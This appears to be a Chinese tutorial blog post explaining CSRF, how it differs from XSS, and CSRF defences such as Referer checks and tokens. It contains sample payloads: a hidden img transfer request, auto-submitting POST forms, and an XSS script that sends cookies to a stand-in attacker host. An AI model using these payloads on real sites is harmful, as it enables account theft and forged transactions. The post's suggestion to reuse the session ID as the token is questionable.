一、说明
记得以前去面试技术也不太会但你总得讲点东西,让面试时间长一些让面试官觉得你基础还可以,当时选的就是名头比较大的OWASP TOP 10。TOP 10嘛你总得拿出至少三个点来讲的细一些以证明你是真的知道而不是背概念。
纵观TOP 10 注入和XSS是比较有把握的,其他什么“失效的认证和会话管理”、“不安全的对象直接引用”,由于当时没有实际的生产环境攻击和防护经验理解不了其所说的概念和影响,感觉好几个概念感觉意思差不多面试官如果问区别那不肯定讲不清了。权衡之下就要锁定在同是技术问题的CSRF上。
而同时选择XSS和CSRF你就不得不面对解释这两者有何区别的问题。到现在这个问题仍然是web攻防文章和书藉都要谈的问题,用得最多的讲得最清楚的大概是德丸浩《Web应用安全权威指南》那样,七八个箭头箭来箭去,XSS第一步是第二步是而CSRF第一步是第二步是。看的时候觉得挺清楚,看完要自己去说区别做防护还是感觉完全不懂。也因此想来写写自己的理解。
二、CSRF定义
CSRF,英文全称Cross Site Request Forgery,中文名跨站请求伪造。OWASP Top 10 2010排A5,OWASP Top 10 2013排A8,OWASP Top 10 2017没排进。
三、CSRF利用形式
我们借用OWASP Top 10 2013给出的例子。
首先,用户登录了没有CSRF防护的www.bank.com。该网站有一个转账链接http://www.bank.com/transferFunds?amount=money&destinationAccount=account_id
然后,用户又访问了攻击者发送过来的链接比如叫http://www.hack.com/csrf_attack。该页面具有以下关键代码<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“ width="0" height="0" />
最后,浏览器自动请求src指向的链接http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789,由于请求的是www.bank.com所以浏览器会自动带上www.bank.com的cookie。链接+登录cookie都已具备,www.bank.com并没有其他检查,所以向123456789转账1500块的请求就会被成功响应。
四、CSRF与XSS的区别
从漏洞存在的位置上(CSRF存在于所有请求-响应模式的功能上,XSS存在于将用户输入回显前端web页面的位置上),从攻击效果上(CSRF主要是执行网站自身已有功能,XSS主要是用于获取Cookie)都有区别。
但对于初学者最直接的还是利用角度。当时面试说的是CSRF是利用B网站攻击A网站,XSS(反射型)是将A网站的Cookie发到B网站,这理解是没错的。这里再举个例子更具象化地说明:
攻击 | 攻击链接示例 | 说明 |
CSRF |
http://www.hack.com/csrf_page(页面中含src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“) |
发送的是hack网站的页面,目标是bank网站页面 |
XSS |
http://www.bank.com/xss_page?xss_parameter='><script>document.location='http://www.hack.com/save_cookie?cookie='+document.cookie</script>' |
发送的是bank网站的页面,目标是hack网站页面 |
五、CSRF的防御
从前面CSRF利用形式可以看到,CSRF的关键点是浏览器自动带上了bank的Cookie访问bank的链接,这是浏览器需要的机制应用是无法阻止的。所以CSRF防范的立足点应该是,面对发过来的数据包如何识别是通过本网站点击链接发过来的数据包,还是其他网站发来的数据访问数据包。
5.1 错误的CSRF防御办法
有时我们会想当然地认为某些方法可以防御CSRF,为了避免踩坑,这里先来介绍两种典型的错误防御方式。
5.1.1 使用post方式防御CSRF
在前面使用的CSRF攻击示例中,攻击载荷是<img src="http://www.bank.com/transferFunds?amount=1500&destinationAccount=123456789“ width="0" height="0" />,其他教程为了简单使用的也是get方式的示例,所以是不是如果我的请求限定是form表单post的,那是不是就可以防御CSRF了呢?
答案是否定的。我们完全可以把攻击载荷换成以下post形式的攻击代码:
<body onload="document.forms[0].submit()"> <form action="http://www.bank.com/transferFunds" method="POST"> <input type="hidden" name="amount" value="1500"> <input type="hidden" name="destinationAccount" value="123456789"> </form> </body>
5.1.2 使用https防御CSRF
https是加密码,攻击者无法修改其内容,网站使用https是否可以防御CSRF呢?
答案也是否定的。认为https有助于防御CSRF是没很好地理解"https=http层+ssl层",https的封装过程是http层内容交给ssl层,ssl层封装完再交给传输层如此下去。CSRF是在http层设置内容,ssl如何防止得了csrf呢。我们攻击载荷改成如下形式也完全可以正确请求(http改成了https):
<body onload="document.forms[0].submit()"> <form action="https://www.bank.com/transferFunds" method="POST"> <input type="hidden" name="amount" value="1500"> <input type="hidden" name="destinationAccount" value="123456789"> </form> </body>
5.2 正确的CSRF防御办法
5.2.1 Referer头检测法
Referer标识当前请求的来源页面,浏览器访问时除了自动带上Cookie还会自动带上Referer,所以服务端可以检测Referer头是否本网站页面来决定是否响应请求。
Referer是浏览器自动带上的,基于认为浏览器没有相关漏洞的前提下,我们可以认为攻击者是没法伪造Referer头的,也就是检测Referer头的方法是可靠的。
但该方式有时会不受认可,一是因为浏览器是可以设置禁止发送Referer头的,如果使用该方式那么禁止Referer头的浏览将无法正常使用,这可能会降低用户使用体验。二是因为由于移动端的崛起当下流行前后端分离app和web共用一套后端代码,但app是不会自动带Referer头的,如果使用该方式app端不好处理。
5.2.2 token检测法
token就是服务端返回给客户端类似sessionid那样一长串的类值(长是为了防暴力猜解)。csrf依赖于浏览器该问链接时自动对应网站的cookie带上,token不放cookie(一般form表单加个hidden属性的input标签来存放)csrf就没法获取token,这样我们就可以通过检测发送过来的数据包中是否有正确的token值来决定是否响应请求。
在讲清token防御的原理后,我们再来讲token的设计,因为token方式给人的感觉很复杂令人望而生畏。
我们首先明确一个问题,就是能够防止csrf攻击的token,并不需要每次请求都不一样,在用户登录后到退出前的这整个过程中的所有请求token完全可以是一样。因为(在基于没有其他漏洞会泄漏本次会话的token的设想下)黑客是无法获取用户的tokne,所以又何必每个请求都要生成一个新的token呢。(token每次请求都要不一样的想法是受防重放攻击的影响)只考滤防csrf不考滤防重放的情况下,token设计就简单多了。
使用sessionid作为token设计:在csrf中cookie是浏览器自己带上的,本质而言用户的sessionid并未丢失(也就是攻击者并不能知道sessionid是多少),基于此我们完全可以不用另传一个值只需直接将sessionid作为token即可(或者也可以做些运算比如取sessionid的某些值做个md5来做为token,意思都差不多)。判断代码类似 if session["id"] == $_POST["token"]
与sessionid同时返回的token设计:在生成sessionid的同时生成一个token(服务端token可以存于session变量中)返回给客户端,客户端保存该token每次请求时都在form表单中提交该值。判断代码类似if session["token"] == $_POST["token"]
参考:
德丸浩-《Web应用安全权威指南》